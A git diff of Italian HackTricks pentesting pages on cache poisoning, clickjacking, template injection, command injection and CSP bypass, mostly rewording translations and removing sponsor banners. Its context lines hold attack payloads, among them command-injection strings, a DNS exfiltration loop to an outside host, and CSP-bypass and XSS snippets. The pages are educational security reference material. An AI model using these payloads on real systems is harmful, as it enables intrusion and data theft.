-1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non necessari per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
+1. **Identificazione degli Input Non Chiave**: Questi sono parametri che, sebbene non richiesti per una richiesta da memorizzare nella cache, possono alterare la risposta restituita dal server. Identificare questi input è cruciale poiché possono essere sfruttati per manipolare la cache.
 2. **Sfruttamento degli Input Non Chiave**: Dopo aver identificato gli input non chiave, il passo successivo consiste nel capire come abusare di questi parametri per modificare la risposta del server in un modo che avvantaggi l'attaccante.
 3. **Assicurarsi che la Risposta Contaminata sia Memorizzata nella Cache**: L'ultimo passo è garantire che la risposta manipolata sia memorizzata nella cache. In questo modo, qualsiasi utente che accede alla pagina interessata mentre la cache è contaminata riceverà la risposta contaminata.
 
 ### Scoperta: Controlla le intestazioni HTTP
 
-Di solito, quando una risposta è stata **memorizzata nella cache**, ci sarà un **header che lo indica**, puoi controllare quali intestazioni dovresti tenere d'occhio in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
+Di solito, quando una risposta è stata **memorizzata nella cache**, ci sarà un **header che lo indica**, puoi controllare quali intestazioni a cui prestare attenzione in questo post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
 
 ### Scoperta: Codici di errore di caching
 
@@ -58,13 +50,13 @@ Con il parametro/intestazione identificato, controlla come viene **sanitizzato**
 Una volta che hai **identificato** la **pagina** che può essere abusata, quale **parametro**/**intestazione** utilizzare e **come** abusarne, devi ottenere la pagina memorizzata nella cache. A seconda della risorsa che stai cercando di memorizzare nella cache, questo potrebbe richiedere del tempo, potresti dover provare per diversi secondi.
 
 L'intestazione **`X-Cache`** nella risposta potrebbe essere molto utile poiché potrebbe avere il valore **`miss`** quando la richiesta non è stata memorizzata nella cache e il valore **`hit`** quando è memorizzata.\
-L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa sarà memorizzata nella cache di nuovo: `Cache-Control: public, max-age=1800`
+L'intestazione **`Cache-Control`** è anche interessante per sapere se una risorsa viene memorizzata nella cache e quando sarà la prossima volta che la risorsa verrà memorizzata di nuovo: `Cache-Control: public, max-age=1800`
 
 Un'altra intestazione interessante è **`Vary`**. Questa intestazione è spesso utilizzata per **indicare intestazioni aggiuntive** che vengono trattate come **parte della chiave della cache** anche se normalmente non sono chiave. Pertanto, se l'utente conosce il `User-Agent` della vittima che sta prendendo di mira, può avvelenare la cache per gli utenti che utilizzano quel specifico `User-Agent`.
 
 Un'altra intestazione relativa alla cache è **`Age`**. Definisce il tempo in secondi in cui l'oggetto è stato nella cache del proxy.
 
-Quando memorizzi una richiesta nella cache, fai **attenzione alle intestazioni che usi** perché alcune di esse potrebbero essere **utilizzate in modo imprevisto** come **chiave** e la **vittima dovrà utilizzare quella stessa intestazione**. Testa sempre un Cache Poisoning con **diversi browser** per controllare se funziona.
+Quando memorizzi una richiesta nella cache, fai **attenzione alle intestazioni che usi** perché alcune di esse potrebbero essere **utilizzate inaspettatamente** come **chiave** e la **vittima dovrà utilizzare quella stessa intestazione**. Testa sempre un Cache Poisoning con **diversi browser** per controllare se funziona.
 
 ## Esempi di sfruttamento
 
@@ -87,7 +79,7 @@ cache-poisoning-to-dos.md
 
 ### Utilizzare l'avvelenamento della cache web per sfruttare le vulnerabilità nella gestione dei cookie
 
-I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se puoi abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
+I cookie potrebbero anche essere riflessi nella risposta di una pagina. Se riesci ad abusarne per causare un XSS, ad esempio, potresti essere in grado di sfruttare XSS in diversi client che caricano la risposta della cache malevola.
 ```markup
 GET / HTTP/1.1
 Host: vulnerable.com
@@ -105,9 +97,9 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Avvelenamento della cache con traversamento del percorso per rubare la chiave API 
 
-[**Questa descrizione spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
+[**Questo articolo spiega**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) come sia stato possibile rubare una chiave API di OpenAI con un URL come `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` perché qualsiasi cosa che corrisponde a `/share/*` sarà memorizzata nella cache senza che Cloudflare normalizzi l'URL, cosa che è stata fatta quando la richiesta ha raggiunto il server web.
 
-Questo è spiegato meglio in:
+Questo è spiegato meglio anche in:
 
 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
@@ -115,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
 
 ### Utilizzo di più intestazioni per sfruttare le vulnerabilità di avvelenamento della cache web 
 
-A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **reindirizzamento aperto** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
+A volte sarà necessario **sfruttare diversi input non chiave** per poter abusare di una cache. Ad esempio, potresti trovare un **Open redirect** se imposti `X-Forwarded-Host` su un dominio controllato da te e `X-Forwarded-Scheme` su `http`. **Se** il **server** sta **inoltrando** tutte le **richieste HTTP** **a HTTPS** e utilizzando l'intestazione `X-Forwarded-Scheme` come nome di dominio per il reindirizzamento. Puoi controllare dove la pagina è puntata dal reindirizzamento.
 ```markup
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -200,7 +192,7 @@ Il [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifica i caratter
 
 ## Cache Deception
 
-L'obiettivo del Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
+L'obiettivo della Cache Deception è far sì che i client **carichino risorse che verranno salvate dalla cache con le loro informazioni sensibili**.
 
 Prima di tutto, nota che le **estensioni** come `.css`, `.js`, `.png` ecc. sono solitamente **configurate** per essere **salvate** nella **cache.** Pertanto, se accedi a `www.example.com/profile.php/nonexistent.js`, la cache probabilmente memorizzerà la risposta perché vede l'estensione `.js`. Ma, se l'**applicazione** sta **restituendo** i contenuti **sensibili** dell'utente memorizzati in _www.example.com/profile.php_, puoi **rubare** quei contenuti da altri utenti.
 
@@ -234,12 +226,5 @@ Scopri qui come eseguire [attacchi di Cache Deceptions abusando dell'HTTP Reques
 - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9)
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) per costruire e **automatizzare flussi di lavoro** facilmente alimentati dagli strumenti **più avanzati** della comunità.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/clickjacking.md b/src/pentesting-web/clickjacking.md
index 3e0c8a120..47f972c8a 100644
--- a/src/pentesting-web/clickjacking.md
+++ b/src/pentesting-web/clickjacking.md
@@ -2,23 +2,15 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-\
-Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti** della comunità **più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
-
 ## Cos'è il Clickjacking
 
-In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è o **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
+In un attacco di clickjacking, un **utente** viene **ingannato** a **cliccare** su un **elemento** di una pagina web che è **invisibile** o mascherato da un altro elemento. Questa manipolazione può portare a conseguenze indesiderate per l'utente, come il download di malware, il reindirizzamento a pagine web malevole, la fornitura di credenziali o informazioni sensibili, trasferimenti di denaro o l'acquisto online di prodotti.
 
 ### Trucco per precompilare i moduli
 
-A volte è possibile **riempire il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
+A volte è possibile **compilare il valore dei campi di un modulo utilizzando parametri GET durante il caricamento di una pagina**. Un attaccante può abusare di questo comportamento per riempire un modulo con dati arbitrari e inviare il payload di clickjacking affinché l'utente prema il pulsante Invia.
 
-### Popolare il modulo con Drag\&Drop
+### Compilare il modulo con Drag\&Drop
 
 Se hai bisogno che l'utente **compili un modulo** ma non vuoi chiedergli direttamente di scrivere alcune informazioni specifiche (come l'email o una password specifica che conosci), puoi semplicemente chiedergli di **Drag\&Drop** qualcosa che scriverà i tuoi dati controllati come in [**questo esempio**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
 
@@ -106,7 +98,7 @@ Esempio:\
 
 ### Difese Lato Client
 
-Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Clickjacking:
+Gli script eseguiti lato client possono eseguire azioni per prevenire il Clickjacking:
 
 - Assicurarsi che la finestra dell'applicazione sia la finestra principale o superiore.
 - Rendere tutti i frame visibili.
@@ -116,14 +108,14 @@ Gli script eseguiti sul lato client possono eseguire azioni per prevenire il Cli
 Tuttavia, questi script di frame-busting possono essere elusi:
 
 - **Impostazioni di Sicurezza dei Browser:** Alcuni browser potrebbero bloccare questi script in base alle loro impostazioni di sicurezza o alla mancanza di supporto per JavaScript.
-- **Attributo `sandbox` dell'iframe HTML5:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra principale, ad esempio,
+- **Attributo `sandbox` dell'iframe HTML5:** Un attaccante può neutralizzare gli script di frame buster impostando l'attributo `sandbox` con valori `allow-forms` o `allow-scripts` senza `allow-top-navigation`. Questo impedisce all'iframe di verificare se è la finestra superiore, e.g.,
 ```html
 
 ```
-I valori `allow-forms` e `allow-scripts` abilitano azioni all'interno dell'iframe disabilitando la navigazione di livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come `allow-same-origin` e `allow-modals`, a seconda del tipo di attacco. I messaggi della console del browser possono guidare su quali autorizzazioni consentire.
+I valori `allow-forms` e `allow-scripts` abilitano azioni all'interno dell'iframe disabilitando la navigazione di livello superiore. Per garantire la funzionalità prevista del sito target, potrebbero essere necessarie autorizzazioni aggiuntive come `allow-same-origin` e `allow-modals`, a seconda del tipo di attacco. I messaggi della console del browser possono guidare quali autorizzazioni consentire.
 
 ### Difese lato server
 
@@ -186,7 +178,7 @@ if (top !== self) {
 top.location = self.location
 }
 ```
-#### Utilizzo di Token Anti-CSRF
+#### Impiego di Token Anti-CSRF
 
 - **Validazione del Token:** Utilizzare token anti-CSRF nelle applicazioni web per garantire che le richieste che modificano lo stato siano effettuate intenzionalmente dall'utente e non tramite una pagina Clickjacked.
 
@@ -195,12 +187,4 @@ top.location = self.location
 - [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
 - [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
 
-

-
-\
-Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=clickjacking) per costruire e **automatizzare flussi di lavoro** alimentati dagli **strumenti comunitari più avanzati** al mondo.\
-Accedi oggi:
-
-{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=clickjacking" %}
-
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md
index 9e611164c..43ffc43ea 100644
--- a/src/pentesting-web/client-side-template-injection-csti.md
+++ b/src/pentesting-web/client-side-template-injection-csti.md
@@ -2,11 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 ## Riepilogo
 
@@ -16,9 +11,9 @@ Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padron
 
 ## AngularJS
 
-AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle quali è **`ng-app`**. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, abilitando l'esecuzione di espressioni JavaScript all'interno di parentesi graffe doppie.
+AngularJS è un framework JavaScript ampiamente utilizzato che interagisce con HTML attraverso attributi noti come direttive, una delle quali è **`ng-app`**. Questa direttiva consente ad AngularJS di elaborare il contenuto HTML, abilitando l'esecuzione di espressioni JavaScript all'interno di doppie parentesi graffe.
 
-In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con `ng-app`, è possibile eseguire codice JavaScript arbitrario. Questo può essere ottenuto sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
+In scenari in cui l'input dell'utente viene inserito dinamicamente nel corpo HTML contrassegnato con `ng-app`, è possibile eseguire codice JavaScript arbitrario. Questo può essere realizzato sfruttando la sintassi di AngularJS all'interno dell'input. Di seguito sono riportati esempi che dimostrano come il codice JavaScript può essere eseguito:
 ```javascript
 {{$on.constructor('alert(1)')()}}
 {{constructor.constructor('alert(1)')()}}
@@ -80,10 +75,5 @@ javascript:alert(1)%252f%252f..%252fcss-images
 
 {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
 
-

-
-Approfondisci la tua esperienza in **Mobile Security** con 8kSec Academy. Padroneggia la sicurezza di iOS e Android attraverso i nostri corsi autogestiti e ottieni la certificazione:
-
-{% embed url="https://academy.8ksec.io/" %}
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md
index e74aa0957..be8362eb3 100644
--- a/src/pentesting-web/command-injection.md
+++ b/src/pentesting-web/command-injection.md
@@ -2,13 +2,6 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche ed esploitabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti permettano di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
 
 ## Cos'è l'iniezione di comandi?
 
@@ -18,7 +11,7 @@ Un **command injection** consente l'esecuzione di comandi arbitrari del sistema
 
 A seconda di **dove il tuo input viene iniettato**, potresti dover **terminare il contesto citato** (utilizzando `"` o `'`) prima dei comandi.
 
-## Command Injection/Esecuzione
+## Command Injection/Execution
 ```bash
 #Both Unix and Windows supported
 ls||id; ls ||id; ls|| id; ls || id # Execute both
@@ -107,7 +100,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
 ```
 $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
 ```
-Strumenti online per controllare l'esfiltrazione di dati basata su DNS:
+Strumenti online per controllare l'exfiltrazione di dati basata su DNS:
 
 - dnsbin.zhack.ca
 - pingb.in
@@ -135,11 +128,3 @@ powershell C:**2\n??e*d.*? # notepad
 - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
 
 {{#include ../banners/hacktricks-training.md}}
-
-

-
-**Ottieni la prospettiva di un hacker sulle tue app web, rete e cloud**
-
-**Trova e segnala vulnerabilità critiche e sfruttabili con un impatto reale sul business.** Usa i nostri oltre 20 strumenti personalizzati per mappare la superficie di attacco, trovare problemi di sicurezza che ti consentono di elevare i privilegi e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo duro lavoro in report persuasivi.
-
-{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md
index 0e0c3db40..2debe542d 100644
--- a/src/pentesting-web/content-security-policy-csp-bypass/README.md
+++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md
@@ -2,32 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

+## Cos'è CSP
 
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
+La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando percorsi e fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
 
-**Approfondimenti sul hacking**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Notizie di hacking in tempo reale**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Ultimi annunci**\
-Rimani informato sui nuovi bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
-
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
-
-## Cos'è il CSP
-
-La Content Security Policy (CSP) è riconosciuta come una tecnologia del browser, principalmente mirata a **proteggere contro attacchi come il cross-site scripting (XSS)**. Funziona definendo e dettagliando i percorsi e le fonti da cui le risorse possono essere caricate in modo sicuro dal browser. Queste risorse comprendono una gamma di elementi come immagini, frame e JavaScript. Ad esempio, una policy potrebbe consentire il caricamento e l'esecuzione di risorse dallo stesso dominio (self), inclusi risorse inline e l'esecuzione di codice stringa tramite funzioni come `eval`, `setTimeout` o `setInterval`.
-
-L'implementazione del CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
+L'implementazione della CSP avviene tramite **header di risposta** o incorporando **elementi meta nella pagina HTML**. Seguendo questa policy, i browser applicano proattivamente queste disposizioni e bloccano immediatamente eventuali violazioni rilevate.
 
 - Implementato tramite header di risposta:
 ```
 Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
 ```
-- Implementato tramite tag meta:
+- Implementato tramite meta tag:
 ```xml
 
 ```
@@ -79,7 +64,7 @@ object-src 'none';
 
 - `*`: Consente tutti gli URL tranne quelli con schemi `data:`, `blob:`, `filesystem:`.
 - `'self'`: Consente il caricamento dallo stesso dominio.
-- `'data'`: Consente il caricamento di risorse tramite lo schema data (ad es., immagini codificate in Base64).
+- `'data'`: Consente il caricamento di risorse tramite lo schema dati (ad es., immagini codificate in Base64).
 - `'none'`: Blocca il caricamento da qualsiasi fonte.
 - `'unsafe-eval'`: Consente l'uso di `eval()` e metodi simili, non raccomandato per motivi di sicurezza.
 - `'unsafe-hashes'`: Abilita gestori di eventi inline specifici.
@@ -103,8 +88,8 @@ b.nonce=a.nonce; doc.body.appendChild(b)' />
 ```
 
 
-- `'sha256-'`: Aggiunge alla whitelist gli script con un hash sha256 specifico.
-- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato aggiunto alla whitelist tramite un nonce o un hash.
+- `'sha256-'`: Consente solo script con un hash sha256 specifico.
+- `'strict-dynamic'`: Consente il caricamento di script da qualsiasi fonte se è stato autorizzato da un nonce o hash.
 - `'host'`: Specifica un host specifico, come `example.com`.
 - `https:`: Limita gli URL a quelli che utilizzano HTTPS.
 - `blob:`: Consente il caricamento di risorse da URL Blob (ad es., URL Blob creati tramite JavaScript).
@@ -130,7 +115,7 @@ csp-bypass-self-+-unsafe-inline-with-iframes.md
 
 ### 'unsafe-eval'
 
-> [!CAUTION]
+> [!ATTENZIONE]
 > Questo non funziona, per maggiori informazioni [**controlla questo**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
 ```yaml
 Content-Security-Policy: script-src https://google.com 'unsafe-eval';
@@ -289,7 +274,7 @@ Abusare di \*.google.com/script.google.com
 ```http
 Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
 ```
-Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere elusi utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
+Scenari come questo in cui `script-src` è impostato su `self` e un dominio particolare che è nella whitelist possono essere aggirati utilizzando JSONP. Gli endpoint JSONP consentono metodi di callback insicuri che permettono a un attaccante di eseguire XSS, payload funzionante:
 ```markup
 ">
 ">
@@ -299,13 +284,13 @@ Scenari come questo in cui `script-src` è impostato su `self` e un dominio part
 https://www.youtube.com/oembed?callback=alert;
 
 ```
-[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare la CSP di diversi siti web.**
+[**JSONBee**](https://github.com/zigoo0/JSONBee) **contiene endpoint JSONP pronti all'uso per bypassare CSP di diversi siti web.**
 
 La stessa vulnerabilità si verificherà se l'**endpoint fidato contiene un Open Redirect** perché se l'endpoint iniziale è fidato, i redirect sono fidati.
 
 ### Abusi di Terze Parti
 
-Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nella CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
+Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), ci sono molti domini di terze parti, che potrebbero essere consentiti da qualche parte nel CSP, che possono essere abusati per esfiltrare dati o eseguire codice JavaScript. Alcuni di questi terzi sono:
 
 | Entità            | Dominio Consentito                           | Capacità     |
 | ----------------- | -------------------------------------------- | ------------ |
@@ -318,9 +303,9 @@ Come descritto nel [seguente post](https://sensepost.com/blog/2023/dress-code-th
 | Salesforce Heroku | \*.herokuapp.com                             | Exfil, Exec  |
 | Google Firebase   | \*.firebaseapp.com                           | Exfil, Exec  |
 
-Se trovi uno dei domini consentiti nella CSP del tuo obiettivo, è probabile che tu possa bypassare la CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
+Se trovi uno dei domini consentiti nel CSP del tuo obiettivo, è probabile che tu possa bypassare il CSP registrandoti sul servizio di terze parti e, o esfiltrare dati a quel servizio o eseguire codice.
 
-Ad esempio, se trovi la seguente CSP:
+Ad esempio, se trovi il seguente CSP:
 ```
 Content-Security-Policy​: default-src 'self’ www.facebook.com;​
 ```
@@ -383,7 +368,7 @@ Se la pagina vulnerabile è caricata con **httpS**, utilizza un URL httpS nella
 ```
 ### AngularJS eventi
 
-Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
+Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere il CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dalla sandbox.
 
 Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
 ```xml
@@ -436,7 +421,7 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 ```
 Se il CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati dal CSP.
 
-Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
+Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non è considerato**, e lo **script può essere caricato**, bypassando così la restrizione del percorso.
 
 Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
 
@@ -461,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
 ```
 Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 
-Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare di "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
+Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare dell' "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l' **immagine**, **estrarrà** il **JS** da essa e **lo eseguirà**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 
 ### Con i Service Workers
 
-La funzione **`importScripts`** dei service workers non è limitata dal CSP:
+La funzione **`importScripts`** dei service workers non è limitata dalla CSP:
 
 {{#ref}}
 ../xss-cross-site-scripting/abusing-service-workers.md
@@ -493,7 +478,7 @@ Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3
 ### img-src \*; via XSS (iframe) - Attacco temporale
 
 Nota l'assenza della direttiva `'unsafe-inline'`\
-Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `
 ```
 In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
-La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
+La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono disabilitare **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitare script inline specifici tramite sha**:
 ```html
 

-
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
-
-**Hacking Insights**\
-Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
-
-**Real-Time Hack News**\
-Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
-
-**Latest Announcements**\
